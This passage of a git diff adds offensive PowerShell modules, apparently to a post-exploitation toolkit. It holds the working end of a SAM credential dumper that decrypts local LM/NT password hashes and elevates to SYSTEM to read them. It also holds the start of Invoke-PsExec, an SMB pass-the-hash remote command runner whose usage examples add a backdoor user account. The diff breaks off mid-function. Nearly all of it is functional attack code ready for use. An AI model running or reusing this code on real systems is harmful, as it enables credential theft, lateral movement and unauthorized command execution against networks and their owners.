$key[$_] = $odd_parity[$key[$_]]; + } + return ,$key; + } + function NewRC4([byte[]]$key) + { + return new-object Object | + Add-Member NoteProperty key $key -PassThru | + Add-Member NoteProperty S $null -PassThru | + Add-Member ScriptMethod init { + if (-not $this.S) + { + [byte[]]$this.S = 0..255; + 0..255 | % -begin{[long]$j=0;}{ + $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; + $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; + } + } + } -PassThru | + Add-Member ScriptMethod "encrypt" { + $data = $args[0]; + $this.init(); + $outbuf = new-object byte[] $($data.Length); + $S2 = $this.S[0..$this.S.Length]; + 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { + $i = ($i+1) % $S2.Length; + $j = ($j + $S2[$i]) % $S2.Length; + $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; + $a = $data[$_]; + $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; + $outbuf[$_] = ($a -bxor $b); + } + return ,$outbuf; + } -PassThru + } + function des_encrypt([byte[]]$data, [byte[]]$key) + { + return ,(des_transform $data $key $true) + } + function des_decrypt([byte[]]$data, [byte[]]$key) + { + return ,(des_transform $data $key $false) + } + function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) + { + $des = new-object Security.Cryptography.DESCryptoServiceProvider; + $des.Mode = [Security.Cryptography.CipherMode]::ECB; + $des.Padding = [Security.Cryptography.PaddingMode]::None; + $des.Key = $key; + $des.IV = $key; + $transform = $null; + if ($doEncrypt) {$transform = $des.CreateEncryptor();} + else{$transform = $des.CreateDecryptor();} + $result = $transform.TransformFinalBlock($data, 0, $data.Length); + return ,$result; + } + function Get-RegKeyClass([string]$key, [string]$subkey) + { + switch ($Key) { + "HKCR" { $nKey = 0x80000000} #HK Classes Root + "HKCU" { $nKey = 0x80000001} #HK Current User + "HKLM" { $nKey = 0x80000002} #HK Local Machine + "HKU" { $nKey = 0x80000003} #HK Users + "HKCC" { $nKey = 0x80000005} #HK Current Config + default { + throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" + } + } + $KEYQUERYVALUE = 0x1; + $KEYREAD = 0x19; + $KEYALLACCESS = 0x3F; + $result = ""; + [int]$hkey=0 + if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) + { + $classVal = New-Object Text.Stringbuilder 1024 + [int]$len = 1024 + if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, + [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) + { + $result = $classVal.ToString() + } + else + { + Write-Error "RegQueryInfoKey failed"; + } + [PowerDump.Native]::RegCloseKey($hkey) | Out-Null + } + else + { + Write-Error "Cannot open key"; + } + return $result; + } + function Get-BootKey + { + $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); + $b = new-object byte[] $($s.Length/2); + 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} + $b2 = new-object byte[] 16; + 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} + return ,$b2; + } + function Get-HBootKey + { + param([byte[]]$bootkey); + $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); + $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); + $k = Get-Item HKLM:\SAM\SAM\Domains\Account; + if (-not $k) {return $null} + [byte[]]$F = $k.GetValue("F"); + if (-not $F) {return $null} + $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); + $rc4 = NewRC4 $rc4key; + return ,($rc4.encrypt($F[0x80..0x9F])); + } + function Get-UserName([byte[]]$V) + { + if (-not $V) {return $null}; + $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; + $len = [BitConverter]::ToInt32($V[0x10..0x13],0); + return [Text.Encoding]::Unicode.GetString($V, $offset, $len); + } + function Get-UserHashes($u, [byte[]]$hbootkey) + { + [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; + if ($u.HashOffset + 0x28 -lt $u.V.Length) + { + $lm_hash_offset = $u.HashOffset + 4; + $nt_hash_offset = $u.HashOffset + 8 + 0x10; + $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; + $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + elseif ($u.HashOffset + 0x14 -lt $u.V.Length) + { + $nt_hash_offset = $u.HashOffset + 8; + $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); + } + function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) + { + [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; + # LM Hash + if ($enc_lm_hash) + { + $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; + } + + # NT Hash + if ($enc_nt_hash) + { + $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; + } + return ,($lmhash,$nthash) + } + function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) + { + $deskeys = sid_to_key $rid; + $md5 = [Security.Cryptography.MD5]::Create(); + $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); + $rc4 = NewRC4 $rc4_key; + $obfkey = $rc4.encrypt($enc_hash); + $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + + (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); + return ,$hash; + } + function Get-UserKeys + { + ls HKLM:\SAM\SAM\Domains\Account\Users | + where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | + Add-Member AliasProperty KeyName PSChildName -PassThru | + Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | + Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru + } + function DumpHashes + { + LoadApi + $bootkey = Get-BootKey; + $hbootKey = Get-HBootKey $bootkey; + Get-UserKeys | %{ + $hashes = Get-UserHashes $_ $hBootKey; + "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, + [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), + [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); + "`n" + } + } + if ([priv]::IsUserAnAdmin()) + { + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) + { + DumpHashes + } + else + { + ElevatePrivs + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) + { + DumpHashes + } + } + } + else + { + Write-Error "Administrator or System privileges necessary." + } +} \ No newline at end of file diff --git a/Modules/Invoke-PsExec.ps1 b/Modules/Invoke-PsExec.ps1 new file mode 100644 index 0000000..bc92f84 --- /dev/null +++ b/Modules/Invoke-PsExec.ps1 @@ -0,0 +1,2778 @@ +function Invoke-PsExec +{ +<# +.SYNOPSIS +Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec +supports SMB1 and SMB2 with and without SMB signing. + +.PARAMETER Target +Hostname or IP address of target. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Command +Command to execute on the target. If a command is not specified, the function will check to see if the username +and hash provides local administrator access on the target. + +.PARAMETER CommandCOMSPEC +Default = Enabled: Prepend %COMSPEC% /C to Command. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. + +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER Sleep +Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.EXAMPLE +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + +.EXAMPLE +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "net user SMBExec Winter2017 /add" + +.EXAMPLE +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding()] +param +( + [parameter(Mandatory=$true)][String]$Target, + [parameter(Mandatory=$true)][String]$Username, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$Command, + [parameter(Mandatory=$false)][String]$Password, + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", + [parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][Int]$Sleep=150 +) + +if($Command) +{ + $SMB_execute = $true +} + +if($SMB1) +{ + $SMB_version = 'SMB1' +} + +if(!$Password -and !$Hash){ + exit +} + +if($Password){ + $Hash = Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes($Password)) + Write-Output "Hash being used: $Hash" +} + +function ConvertFrom-PacketOrderedDictionary +{ + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#NetBIOS + +function Get-PacketNetBIOSSessionService() +{ + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService +} + +#SMB1 + +function Get-PacketSMBHeader() +{ + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) + $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) + $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) + $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) + $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader +} + +function Get-PacketSMBNegotiateProtocolRequest() +{ + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest +} + +function Get-PacketSMBSessionSetupAndXRequest() +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest +} + +function Get-PacketSMBTreeConnectAndXRequest() +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest +} + +function Get-PacketSMBNTCreateAndXRequest() +{ + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest +} + +function Get-PacketSMBReadAndXRequest() +{ + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest +} + +function Get-PacketSMBWriteAndXRequest() +{ + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest +} + +function Get-PacketSMBCloseRequest() +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest +} + +function Get-PacketSMBTreeDisconnectRequest() +{ + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest +} + +function Get-PacketSMBLogoffAndXRequest() +{ + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest +} + +#SMB2 + +function Get-PacketSMB2Header() +{ + param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) + $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) + $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) + $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header +} + +function Get-PacketSMB2NegotiateProtocolRequest() +{ + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest +} + +function Get-PacketSMB2SessionSetupRequest() +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object 